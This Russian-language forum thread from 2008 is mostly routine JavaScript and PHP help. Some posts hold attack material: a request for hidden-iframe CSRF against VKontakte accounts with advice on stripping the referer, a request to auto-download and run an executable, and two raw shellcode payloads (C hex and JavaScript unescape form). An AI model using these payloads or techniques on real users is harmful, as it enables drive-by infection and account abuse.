пробывал ставить
if(request.readyState == 2)
{
document.getElementById("status").innerHTML = request.responseText;
}
и все время получется что пока скрипт пхп до конца не отработает ни чего не появляется
astrologer
30.10.2008, 00:28
у меня вопрос
мне надо чтобы в процессе когда пхп скрипт отдает сразу это появлялось через аякс
пробывал ставить
if(request.readyState == 2)
{
document.getElementById("status").innerHTML = request.responseText;
}
и все время получется что пока скрипт пхп до конца не отработает ни чего не появляетсязначения readyState (http://www.w3.org/TR/2006/WD-XMLHttpRequest-20060405/#dfn-readystate)
setInterval (https://developer.mozilla.org/En/DOM/window.setInterval)(func, delay);
ob_implicit_flush (http://php.net/ob-implicit-flush)();
ob_flush (http://php.net/ob_flush)();
flush (http://php.net/flush)();
значения readyState (http://www.w3.org/TR/2006/WD-XMLHttpRequest-20060405/#dfn-readystate)
setInterval (https://developer.mozilla.org/En/DOM/window.setInterval)(func, delay);
ob_implicit_flush (http://php.net/ob-implicit-flush)();
ob_flush (http://php.net/ob_flush)();
flush (http://php.net/flush)();
это конечно все круто но я все равно чот не пойму
ни фига ob_implicit_flush u flush не помогают
ну что ни знает ни кто что ли(
Допер!!!!
если кому интересно то делается это так
после отсылки запроса
request.open("GET",url,true);
request.send("null");
дописываем запуск ф-ии через интервал
setInterval(first,1);
в ф-ии будем забирать ответ от скрипта и вывводить в html
function first()
{
document.getElementById("status").innerHTML = request.responseText;
}
а остальное все как обычно)
vikseriq
30.10.2008, 17:17
Оо, таким кодом ты быстро надоешь жопорезникам - каждую сеекунду грузить. даже на бирже таймер в 15 сек.
Оо, таким кодом ты быстро надоешь жопорезникам - каждую сеекунду грузить. даже на бирже таймер в 15 сек.
я для себя пишу а не для сайта))
и еще вопрос как мне сделать чтобы поле ввода или чексбокс стали заблокированными и их нельзя было исправить и как мне сдлеать статусную строку(где каждая новая команды отображалась на месте старой)
чтобы надпись никуда не уезжала
пробывал выводить в <input type=text>
document.getElementById().value = "Text";
но надпись сливается с предыдущей а если делать через innerHTMl в див или обычные теги надписи тоже сливаются
astrologer
31.10.2008, 17:05
и еще вопрос как мне сделать чтобы поле ввода или чексбокс стали заблокированными[ object HTMLInputElement ].disabled = true;
как мне сдлеать статусную строку(где каждая новая команды отображалась на месте старой)window.status :)
Про "уезжание" ничего не понятно.
vikseriq
31.10.2008, 19:48
Что бы не уезжала - обнуляй строку перед изменением, если бажишь. :)
** я для себя пишу, а не для сайта
ты что, в сервер превратился, решил на животе CP сделать для девушки? :) :) :)
Architek86
06.11.2008, 03:24
Как сделать так, что бы, к примеру, при выборе одного из пунктов выпадающего списка (input select, кажется), выбранное значение тут же вставлялось в value некоторого input text?
Architek86, по сабмиту делать document.getElem.....innerHTML = 'Вы только что нажали на тынц';
prescott
06.11.2008, 09:56
Как сделать так, что бы, к примеру, при выборе одного из пунктов выпадающего списка (input select, кажется), выбранное значение тут же вставлялось в value некоторого input text?
<select onChange='document.getElementById("myEdit").value=this.value;'>
<option>Значение 1</option>
<option>Значение 2</option>
</select>
<input id='myEdit' type='text'>
Buffalon
07.11.2008, 01:56
Как сделать выпадающее меню на JS......... СРОЧНО НАДО
vikseriq
07.11.2008, 13:42
Вот так. С тебя + ) (http://www.izcity.com/data/raznoe/article1049.htm)
ferdinandgray
09.11.2008, 13:52
Народ, я тут пытался в других темах задавать вопрос, но как-то всё бестолку.
Краткое содержание предыдущих серий. :-) :
Как вы знаете, Гугль официально позволяет создать небольшой почтовый сервис в вашем домене. Скажем, можешь иметь и раздавать ящики юзерам вида pupkin@mydomen.ru, а управляется всё это гуглем и почта обычного вида как на gmail.com. Переписываешь на Гугль MX-записи и там ещё кое что и порядок.
Всё бы ничего да с точкой входа не всё просто. Юзер жмёт адрес типа mail.mydomen.ru, а Гугль переадресует к себе. Единственная возможность оставить точку входа в своём домене - это каким то образом показать гуглевский вход на другой своей странице. Обычный ифрэйм не прокатывает - у Гугля защита.
Всё к чему пока пришёл - это показывать юзерам дополнительную менюху вида: "Кликните 'Отмена' ('Cancel'), чтобы остаться на этой странице". С помощью такой вот строчки:
onbeforeunload=function(){return "Кликните 'Отмена' ('Cancel'), чтобы остаться на этой странице"}
Но это, согласитесь, геморно во всех отношениях, в Opera не работает, дополнительный клик и путаница.
Сейчас код выгдятит так:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Тег IFRAME, параметр width</title>
<style type="text/css">
<!--
.style1 {font-size: 9px}
-->
</style>
</head>
<body>
<iframe width="100%" height="100%" frameborder="0" id='frame'></iframe>
<p>
<script language="JavaScript">
var myArray = ["https://www.google.com/a/bla-bla-bla"];
var n=0;
onbeforeunload=function(){return "Кликните 'Отмена' ('Cancel'), чтобы остаться на этой странице"}
function sc() {
if (n>=myArray.length) n = 0;
document.getElementById("frame").src= myArray[n++];
}
sc();
</script>
</body>
</html>
Если сделать корректный ифрэйм не судьба, то может хотя бы менюху можно изменить чтоб была одна кнопка типа "ок"... без всякой лишней инфы типа "Вы уверены, что хотите уйти с этой страницы" и кнопки "отмена"?
как можно сымитировать клик по объекту?
astrologer
13.11.2008, 11:08
как можно сымитировать клик по объекту?Вызвать метод click или создать событие.
GumaNoiD
14.11.2008, 17:13
Слышал что на аяксе модно реализовать данную фун-ию
есть сайт ~например из 10 страниц
Сайт тяжелый из за картинок и чтобы каждый раз не загружались заного кратинки как то можно сделать чтобы грузился только текст....Или определённый див
Приветствую, раньше была возможность встроить линки на игнор лист
http://vkontakte.ru/settings.php?act=addToBlackList&id=1
в iframe или обычный frame, тогда пользователь заходит на сайт и у него автоматически, указанные люди добавляются в игнор лист. Щас такую возможность порезали, вконтакт отвечает:
Security Breach or Incorrect Firewall. ...
Как можно обойти эту защиту и вообще на чём она основывается, вконтакт что ли как-то js'ом проверяет, что его страница не во iframe или frame?
Просто у меня есть доступ пару тематических сайтов, где грутится один круг людей, хотелось бы встроить им в код такую фичу. Конечно ж желательно, чтобы было "без палева" при просмотре.
astrologer
18.11.2008, 13:46
на чём она основывается Основывается на проверке заголовка referer.
Как можно обойти эту защиту и вообще Сделать так, чтобы заголовок был пустой или его не было совсем.
Как это сделать? Ищи в этой теме.
Я так понимаю, что нужно выполнить js код на установку юзеру нужного referer'a, который воспримет вконтакт?
Он устанавливается функцией document.referer?
astrologer
18.11.2008, 15:37
Он устанавливается функцией document.referer?
document.referer - это не функция.
Установить реферрер не получится.
Туплю..
Ладно, а открыть во фрейме сначала главную страницу вконтакте, к примеру, а потом js'ом открыть в том фрейме нужный линк на добавление юзера в игнор можно? Ну чтобы рефер взялся с фрейма, там где vkontakte.ru, а скрипт js, к примеру, с другого фрейма выполнить с target'ом в нужный.
В грубом приближении - если фрейм не на этом же сайте, то ты не сможешь воздействовать на его содержимое. Все это давно подумано, и поддерживается на уровне браузеров :)
Я могу js'ом с одного фрейма управлять другим, ну например перенаправлением.. Только тут как рефер берётся адресная строка браузера, а там же не "вконтакте" поэтому толку от этого мало.
Ilia_dozor
20.11.2008, 14:40
всем привет!у меня есть баннер
<a style="text-decoration: none;" href="http://cait/cgi-bin/redir.cgi?member=1qa2ws&lang=en" ><img src="http://cait/cgi-bin/banner.cgi?member=ftp" width=805 alt= "" border="0"></a>
как сделать так,чтобы при заходе на сайт открывался этот баннер как всплывающее окно и
1.неблокировалось браузерами
2.показыввалось прям по центру.
3.как будет выглядеть код и куда его вставить..заранее спасибо!!
heretic1990
20.11.2008, 22:11
люди, нужен такой скрипт: чтобы воспроизводил мелодию с определённым интервалом
кто знает, есть такой?
Cecil B Demented
21.11.2008, 18:50
люди, нужен такой скрипт: чтобы воспроизводил мелодию с определённым интервалом
кто знает, есть такой?
с интервалом это... я не догнал
но это не пашет разве setInterval или setTimeout?
Cecil B Demented
21.11.2008, 19:21
НЕ встречался ли кто с такой проблеммой в jQuery используется евент на картинку hover - при этом наведении срабатывает подгрузка скрипта $.getScript, как возможно при повторном наведении отрубить подгрузку этого скрипта?
Pashkela
22.11.2008, 16:59
Вот пример:
http://www.hikeoz.com/ просто открой и посмотри исходнки
Вот как установить - подробно
http://www.drupal.ru/node/20267
Fen-Omen
24.11.2008, 23:06
Добрый вечер! Подскажите решение проблемы - сделал выпадающее меню простенькое на js+css. Наверное самую примитивное из всех возможных. Все было хорошо, тестил... Сейчас возобновляю проект. При щелчке мышью - выпадает и резко скрывается. Код не менял.
Например:
Вот список:
<a href=""><ul class="expmenu off">Список</a>
<li class="off"> - 1; </li>
<li class="off"> - 2; </li>
<li class="off"> - 3; </li>
</ul>
Стиль описан в отдельном подключаемом файле и имеет вид:
.on, .off, .onoff {cursor: pointer !important}
.off ul, .off li {display: none}
ul.expmenu
{ display: inline;
padding-left: 0;
padding-top:0;
}
ul.expmenu li
{
padding: 0;
padding-left: 10;
padding-top: 5;
font-size: 10;
color: #5A5959;
list-style-position:inside;
list-style-type:none;
}
И, наконец код яваскрипта тоже в отдельном файле, подключаемом
document.onclick= function(e)
{
var s= (e)?e.target:(event)?event.srcElement:"";
if (s)
{
var t= s.className.replace(/\boff\b/,"on");
if (t===s.className) {t= s.className.replace(/\bon\b/,"off");}
s.className= t;
}
}
На самом деле очень хочется разобраться... Больших познаний в JS не имею, и хоть убей - не вижу причины такого поведения меню... Заранее спасибо!
Pashkela
24.11.2008, 23:52
Если раньше работало - проверь на кроссбраузерность, попробуй разные браузеры, особенно те, что юзал раньше. Если сработает хоть в одном - код надо переделывать, чтобы работал во всех
Мужики хелп плиз ! Как написать скрипт на яве или на php чтоб при нажатии на ссылочку моего сайта www.anything.ru скачивался и запускался файлик file.exe !!! ??? Как это можно реализовать ?
GumaNoiD
26.11.2008, 17:33
Мужики хелп плиз ! Как написать скрипт на яве или на php чтоб при нажатии на ссылочку моего сайта www.anything.ru скачивался и запускался файлик file.exe !!! ??? Как это можно реализовать ?
расскажем если ты только не будешь вместо file.exe ставить pinch.exe чесна чесна!
dinar_007
26.11.2008, 17:38
Мужики хелп плиз ! Как написать скрипт на яве или на php чтоб при нажатии на ссылочку моего сайта www.anything.ru скачивался и запускался файлик file.exe !!! ??? Как это можно реализовать ?
Cвязку у себя на сайте вешай... Офигеть вопросы..
расскажем если ты только не будешь вместо file.exe ставить pinch.exe чесна чесна!
нет не буду !!!! буду хорошим мальчиком !!! да и зачем оно мне !!! ладно хотябы принципы поведайте !!! бог с ним с кодом если это так запретно !!!
Cвязку у себя на сайте вешай... Офигеть вопросы..
Чесно говоря я не очень понял слово "офигеть" ! это что то хорошее или что то плохое ????
помогите со скриптом))
<body onload=s()> <input type="text" id=1> <script> function s() { var c=Math.round(Math.random()*10); document.getElementById("1").value = c; var q=c; if (q=0) {document.location.href = "http://images.google.com";} else if (q=1) {document.location.href = "http://stolna.info";} else if (q=2) {document.location.href = "http://vkontakte.ru";} else if (q=3) {document.location.href = "http://zerx.ru";} else if (q=4) {document.location.href = "http://advego.ru/";} else if (q=5) {document.location.href = "http://pblog.ru";} else if (q=6) {document.location.href = "http://websurf.ru/";} else if (q=7) {document.location.href = "http://forum.antichat.ru";} else if (q=8) {document.location.href = "http://www.kommunikator.com.ua";} else if (q=9) {document.location.href = "http://kruto.3dn.ru/";} else if (q=10) {document.location.href = "http://www.securitylab.ru";} } </script>
короче все время попадает на http://stolna.info как сделать чтоб оно работало как должно? тоесть если q=1 то оно ишло на гугл)))??
и 2рой вопрос)) как сделать задержку перед переходом?
Pashkela
29.11.2008, 15:16
if (q==2)
где равно в if - везде два раза ставь
Задержка:
setTimeout('функция', задержка).
astrologer
29.11.2008, 15:34
<script type="text/javascript">
setTimeout(function()
{
document.location.href =
[
'http://images.google.com',
'http://stolna.info',
'http://vkontakte.ru',
'http://zerx.ru',
'http://advego.ru',
'http://pblog.ru',
'http://websurf.ru',
'http://forum.antichat.ru',
'http://www.kommunikator.com.ua',
'http://kruto.3dn.ru'
]
[Math.random() * 10 >> 0];
}, 5000);
</script>
Architek86
29.11.2008, 15:53
Надо проверить переменную на совпадение с одним из ЦЕЛЫХ положительных чисел, например, от 0 до 48. Делать вот так
if(aa==0 or aa==1 or aa==2 ... or aa==48)
для каждого числа - слишком обьёмисто... может, можно проще?
astrologer
29.11.2008, 16:08
Надо проверить переменную на совпадение с одним из ЦЕЛЫХ положительных чисел, например, от 0 до 48. Делать вот так
if(aa==0 or aa==1 or aa==2 ... or aa==48)
для каждого числа - слишком обьёмисто... может, можно проще?
if(0 <= a && a <= 48 && a == a >> 0)
{
}
Pashkela
30.11.2008, 12:17
http://xpoint.ru/know-how/WYSIWYG/TrueJavaScriptEditor
http://www.fckeditor.net/
Подскажите где ошибка?
точно такой же практически скрипт отсылает письмо а этот нивкакую (
<script>
function dataField(f) {
var cont1 = document.zayava_1.name.value;
var cont3 = document.zayava_1.lastname.value;
var cont4 = document.zayava_1.name2.value;
if (cont1 == "" || cont3 == "" || cont4 == "" ) {
alert("Вы не ввели одно из обязательных значений");
}
else
{
document.getElementById('zayava_1').submit();
}
}</script>
<? if($punkt==-3)
{
?>
<p>Ваша заявка принята.</p>
<?
$Message="Поступила письмо с заявкой заполненное через \n";
$Message.="форму на сайте: \n";
$Message.="-------------------------------------------- \n";
$Message.="Письмо от $contact (e-mail:$email) \n";
$Message.="-------------------------------------------- \n";
$Message.="Следующего содержания: \n\n";
$Message.="Данные: \n\n";
if ($lastname != "") $Message.="Фамилия: $lastname' \n";
if ($name != "") $Message.="Имя: $name\n";
if ($name2 != "") $Message.="Отчество: $name2\n";
$Message.="Адрес: \n\n";
if ($street != "") $Message.="Улица: $street\n";
if ($house != "") $Message.="Дом: $house\n";
if ($korp != "") $Message.="Корпус: $korp\n";
if ($kv != "") $Message.="Квартира: $kv\n";
if ($floor != "") $Message.="Этаж: $floor\n";
if ($parad != "") $Message.="Парадная: $parad\n";
if ($contact != "") $Message.="Контактное лицо: $contact \n";
if ($tel != "") $Message.="Телефон для связи: $tel\n";
if ($email != "") $Message.="Email: $email\n";
$Message.="Паспортные данные: \n\n";
if ($passport != "") $Message.="Серия паспорта: $passport\n";
if ($nomer_pass != "") $Message.="Номер:*$nomer_pass\n";
if ($kem != "") $Message.="Кем выдан: $kem\n";
if ($kogda != "") $Message.="Когда выдан: $kogda \n";
if ($addres != "") $Message.="Адрес прописки: $addres\n";
if ($fakt_addres != "") $Message.="Фактический адрес: $fakt_addres\n";
if ($svidetelstvo!= "") $Message.="Свидетельство о постановке в единый гос. реестр № : $svidetelstvo\n";
$Message.="\n";
$headers="From: $contact <user@site.ru>\r\n";
$headers.="MIME-Version: 1.0\n";
$headers.="Content-Type: text/plain; charset=windows-1251\n";
$headers.="Content-Transfer-Encoding: quoted-printable\n";
mail("admin@site.ru", "Запрос с сайта", $Message, $headers);
}
if($punkt==-1 or $punkt=="")
{
?>
<br />
<form id="zayava_1" name="zayava_1" action="#" method="post" enctype="multipart/form-data"><input type="hidden" value="-3" name="punkt" />
<p>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td width="230" align="left"> </td>
<td width="8"></td>
<td width="9"></td>
<td width="246"></td>
<td width="9"></td>
</tr>
<tr>
<td height="2"></td>
</tr>
<tr>
<td width="230" align="right">Фамилия:</td>
<td width="8"></td>
<td width="9"></td>
<td width="246"><input style="display: block; width: 220px;" value="" name="lastname"/></td>
<td width="9"></td>
</tr>
<tr>
<td height="2"></td>
</tr>
<tr>
<td width="230" align="right">Имя:</td>
<td width="8"></td>
<td width="9"></td>
<td width="246"><input style="display: block; width: 220px;" value="" name="name"/></td>
<td width="9"></td>
</tr>
<tr>
<td height="2"></td>
</tr>
.....
<td width="230" align="right"></td>
<td width="8"></td>
<td width="9"></td>
<td width="246" align="right"><a onclick="dataField(this.form)" href="#"><img border="0" src="/img/send.jpg" /></a></td>
</tr>
</tbody>
<tbody>
</tbody>
</table>
</p>
</form><?}?>
<div></div>
<div></div>
<div></div>
Pashkela
02.12.2008, 00:24
document.getElementById('zayava_1').submit();
Чото я кнопки или функции submit не наблюдаю в упор
а может кто нить пожскажет как левый логин контакта замутить ?
document.getElementById('zayava_1').submit();
Чото я кнопки или функции submit не наблюдаю в упор
<td width="246" align="right"><a onclick="dataField(this.form)" href="#"><img border="0" src="/img/send.jpg" /></a></td>
Есть вопрос Как поменять код скрипта чтобы при обновлении этой странички браузером нажимая на следующая(функция next()) мы попадали на след. странички(ифреймы), а не начинали просмотр сначала?
<html>
<head>
<title>WOweb.ru - Scripts - JavaScript - Каталог фотографий</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<!-- HEAD START HERE -->
<LINK href="style.css" rel=STYLESHEET type=text/css>
<SCRIPT language=JavaScript type=text/javascript>
var i=1
var s='<iframe id="innerframe" src="external.htm" width="250px" height="250px" marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no" style="position: absolute; overflow: visible; left: 300px; top: 300px;"></iframe>'
var j='<iframe id="innerfram" src="external2.htm" width="150px" height="150px" marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no" style="position: absolute; overflow: visible; left: 500px; top: 500px; display:"></iframe>'
document.write(s)
document.write(j)
function next(){
i++
if (i==9) i=8
s="f"+i+".htm"
j="h"+i+".htm"
document.all.innerframe.src=s
document.all.innerfram.src=j
}
function prev(){
i--
if (i==0) i=1
s="f"+i+".htm"
j="h"+i+".htm"
document.all.innerframe.src=s
document.all.innerfram.src=j
}
function GotoNomber(nomber){
i=nomber
s="f"+nomber+".htm"
j="h"+nomber+".htm"
document.all.innerframe.src=s
document.all.innerfram.src=j
}
function nombersShow(){
document.all.raw.style.display=""
document.all.raw.style.visibility="visible"
document.all.nombers.href="javascript:nombersHide()"
}
function nombersHide(){
document.all.raw.style.display="none"
document.all.raw.style.visibility="hidden"
document.all.nombers.href="javascript:nombersShow()"
}
</SCRIPT>
<!-- HEAD END HERE -->
</head>
<body bgcolor="#EDEDED" text="#000000" link="#000000" topmargin="0" leftmargin="0">
<center>
<!-- BODY START HERE -->
<TABLE align=center border=1 borderColor=#000000 cellPadding=0 cellSpacing=0 height=400 width="88%">
<TR><TD class=headcolor height=20> Каталог фотографий</TD>
<TD align=middle class=headcolor width=260>
<A href="javascript:prev()"><<Предыдущая</A>
<A href="javascript:nombersShow()" id=nombers title="Переход по номеру"><B><№></B></A>
<A href="javascript:next()">Следующая>></A>
</TD></TR>
<TR id=raw style="DISPLAY: none; VISIBILITY: hidden"><TD align=right class=headcolor colSpan=2 height=1>
<A href="javascript:GotoNomber(1)">1</A>
<A href="javascript:GotoNomber(2)">2</A>
<A href="javascript:GotoNomber(3)">3</A>
<A href="javascript:GotoNomber(4)">4</A>
<A href="javascript:GotoNomber(5)">5</A>
<A href="javascript:GotoNomber(6)">6</A>
<A href="javascript:GotoNomber(7)">7</A>
<A href="javascript:GotoNomber(8)">8</A>
</TD></TR>
<div id=s></div>
<TR><TD align=middle class=bodycolor colSpan=2>
</TD></TR></TBODY></TABLE>
<!-- BODY END HERE -->
</center>
</body>
</html>
Наглядно: http://katcya.narod.ru/iframe/index.html
влом разбираться, я просто сейчас с одном модулем работаю, может это то что тебе надо http://www.dynamicdrive.com/dynamicindex17/ajaxpaginate/
влом разбираться, я просто сейчас с одном модулем работаю, может это то что тебе надо http://www.dynamicdrive.com/dynamicindex17/ajaxpaginate/
Почти но не то что надо Мне нужно чтобы именно 2 разных ифрейма подгружались для того чтобы можно было организовать хорошее слайдшоу на сайте
Ps Буду ждать готового модуля
vikseriq
03.12.2008, 21:53
событие onRefresh - наводка. Более не скажу - давай-давай сам, бесплатно никто не будет стрЯдать )
Сам точно не смогу решить эту проблему хотя и скрипт то вроде не сложный
Сам точно не смогу решить эту проблему хотя и скрипт то вроде не сложный
Можно на php и куки реализовать ;)
Свой вопрос:
Как будет выглядеть запуск функции javascript:openwindow(''); так чтобы в появляющемся окне не было видно адресной строки :confused:
Pashkela
06.12.2008, 13:59
<script>
window.open("http://rambler.ru","subwindow",
"width=100,height=100, left=100, top=200, resizable, scrollbars = yes");
</script>
http://vvz.nw.ru/Lessons/JavaScript/Objects/window/window_open.htm
Вопросы такие.
Могу ли я читать содержимое дочернего ифрейма, если да, то как?
И еще, ситуация такая. Есть один сервис, когда я делаю get-запрос он мне выдает html-код, но не закрывает сокет. Как можно на JS/ajax содержимое загрузить в переменную, при условии, что этот сервис на другом домене?
можно ли через javascript читать и отображать на html странице xls, doc, txt файлы?
vikseriq
06.12.2008, 20:53
нельзя. js не поддреживает работу с файлами и вызов программ.
Можно вообще-то, но это подразумевает использование компонентов ActiveX, которые во многих браузерах запрещены или блокируются антивирусами.
Pashkela
06.12.2008, 21:21
можно, кладем в одну папку fail.txt с любым содержимым, картинку zakat.jpg и такой вот index.html:
<html>
<head>
<title>Дополнительное окно с кнопкой ОТКРЫТЬ на странице и кнопкой ЗАКРЫТЬ в окне</title>
<SCRIPT language="JavaScript">
function openwindow()
{
windop=window.open("fail.txt","mywindow","menubar=1,resizable=1,width=350,height=250");
windop.document.open();
windop.document.write("<html><head><title>Название странички</title>");
windop.document.write("</head><bоdу bgcolor=#FFFFCC>");
windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Заголовок текста на страничке</b></font></center>");
windop.document.write("<iframe src='fail.txt'></iframe>");
windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>");
windop.document.write("</bоdу></html>");
windop.document.close();
}
</SCRIPT></head>
<bоdу>
<FORM ACTION="javascript:openwindow()">
<INPUT
TYPE=IMAGE
SRC="zakat.jpg"
HEIGHT=38 WIDTH=62
ALT="Yes" BORDER=0
NAME="Yes"
>
</form>
</bоdу>
</html>
и переходим в браузере на index.html
Появится картинка, нажав на которую мы увидим красивый комментарий к картинке взятый из файла fail.txt
Проверено на IE, OPERA и FIREFOX - везде работает
Таким вот незамысловатым образом можно замутить галлерею с описанием к каждой картинке
как преобразовать
char code[] = "\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x 89\x06\x89\xc3" "\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x 46\x0c\x53\x68" "\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x 31\xdb\x53\x68" "\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x 89\x46\x04\x89" "\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x 89\x46\x10\x53" "\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x 14\x31\xc0\x31" "\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x 00\x68\x72\x00" "\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x 68\x6d\x00\x69" "\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x 00\x00\x00\x89" "\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x 50\x53\x50\x51" "\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x 4e\x18\x49\x49" "\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x 00\xff\x56\x14" "\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x 0c\x8b\x70\x1c" "\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x 8b\x6c\x24\x18" "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x 8b\x5a\x20\x01" "\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x 31\xc0\xac\x38" "\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x 24\x14\x75\xe1" "\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x 01\xeb\x8b\x04" "\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x 5b\xc2\x08\x00"
в
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u 184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84 ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575 %u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u 018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b 30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850 %u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u 4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u61 63%u636c%u652e%u6578%u4100");
metasploit shellcodes parser/converter в меня не работает
Такой вот вопрос,мне нужно чтобы на клавише (button) шел таймер обратного отсчета,и только время избегало то автоматически нажималась данная клавиша,как ето можно сделать,и можноли вопше?
Pashkela
09.12.2008, 01:02
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Untitled</title>
</head>
<body>
<form action="http://mysite.ru/myfile.php" method="post" name="reg" id="reg">
<div id="login">Логин: <input type="text" name="name"></div>
<div id="pass">Пароль: <input type="password" name="pwd"></div>
<div><textarea cols="50" rows="20" name="pravila">
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
Тут текст правил, довольно длинный может быть.
</textarea></div>
<div id="butons"><input type="button" name="sbm" value="Подождите 15 секунд" onClick="alert('Вам дано 15 секунд для ознакомления с правилами!')" style="color: Gray;"><input type="Reset"></div>
</form>
<script type="text/javascript">
timeleft = 15;
function decrim(){
timeleft -= 1;
document.getElementById('butons').innerHTML = '<input type="button" name="sbm" value="Подождите '+timeleft+' секунд" onClick="endtime()" style="color: Gray;"><input type="Reset">';
if(timeleft == 0){
clearInterval(hs)
document.getElementById('butons').innerHTML = '<input type="submit" name="sbm" value="ОК"><input type="Reset">';
document.reg.submit();
}
}
function endtime(){
alert('Вам осталось ждать '+timeleft+' секунд.\nЗаймите это время чтением правил!')
}
hs = setInterval("decrim()",1000)
</script>
</body>
</html>
Mixon, setTimeout(function(){}, 9999);
barman, x3k.ru
Слева снизу js packer
Слева снизу js packer
ето где Слева снизу
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot